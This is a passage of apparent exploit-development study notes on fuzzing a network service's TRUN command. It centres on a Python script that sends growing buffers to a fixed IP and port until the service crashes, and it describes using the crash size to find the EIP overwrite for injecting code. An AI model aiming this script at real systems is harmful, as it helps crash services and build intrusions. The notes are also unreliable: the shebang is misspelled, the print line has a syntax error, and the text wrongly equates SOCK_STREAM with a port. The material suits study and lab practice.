Fuzzing
Fuzzing is similar to Spiking as we use it to send a bunch of characters at a specific command to try and break it.
We use a Python script to fuzz:
#!/usr/bin/ython
import sys, socket
from time import sleep
buffer = "A" * 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.57.14', 9999))
s.send(('TRUN /.:/' + buffer))
s.close()
sleep(1)
buffer = buffer + "A" * 100
except:
print("Fuzzing crashed at %s bytes" % str(len(buffer))
sys.exit()
AF_INET= ipv4SOCK_STREAM= port
The script connects to the ipv4 address and port. Once a connection is established, it sends a TRUN /.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA command and closes the connection. As long as the connection stays valid, it resends another buffer with TRUN /.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA multiplied by 100, over and over, until we cancel or hit a successful buffer overflow.
Once the server crashes, note how many bytes were sent. In this case it was around 2000 bytes. This is critical, because it tells us roughly where the EIP overflow "flaw" resides, which we use to inject malicious code.